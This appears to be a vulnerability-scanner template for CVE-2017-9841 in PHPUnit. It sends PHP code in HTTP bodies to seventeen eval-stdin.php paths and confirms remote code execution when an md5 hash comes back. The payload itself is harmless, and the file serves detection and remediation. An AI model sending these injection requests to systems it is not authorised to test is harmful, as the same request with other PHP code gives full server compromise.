id: CVE-2017-9841

info:
  name: PHPUnit - Remote Code Execution
  author: Random_Robbie,pikpikcu
  severity: critical
  description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
  impact: |
    Remote attackers can execute arbitrary PHP code on the server, leading to full system compromise.
  remediation: |
    Upgrade to PHPUnit version 5.7.21 or 6.1.6 or later.
  reference:
    - https://github.com/cyberharsh/Php-unit-CVE-2017-9841
    - https://github.com/RandomRobbieBF/phpunit-brute
    - https://thephp.cc/articles/phpunit-a-security-risk
    - https://twitter.com/sec715/status/1411517028012158976
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9841
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-9841
    cwe-id: CWE-94
    epss-score: 0.99999
    epss-percentile: 0.99994
    cpe: cpe:2.3:a:phpunit_project:phpunit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    vendor: phpunit_project
    product: phpunit
  tags: cve2017,cve,php,phpunit,rce,kev,phpunit_project,vkev,vuln

variables:
  string: "CVE-2017-9841"

http:
  - raw:
      - |
        GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>
      - |
        GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/html

        <?php echo md5("{{string}}");?>

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(string)}}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cb80b24bd010a09ff33a0729dc76fb7b3d2f97c551e0a1790b9ec7793705e31b022069f546c440463db7ba2a0419002625ac1977e90ebb64f26255c0d022cbb3cafa:922c64590222798bb761d5b6d8e72950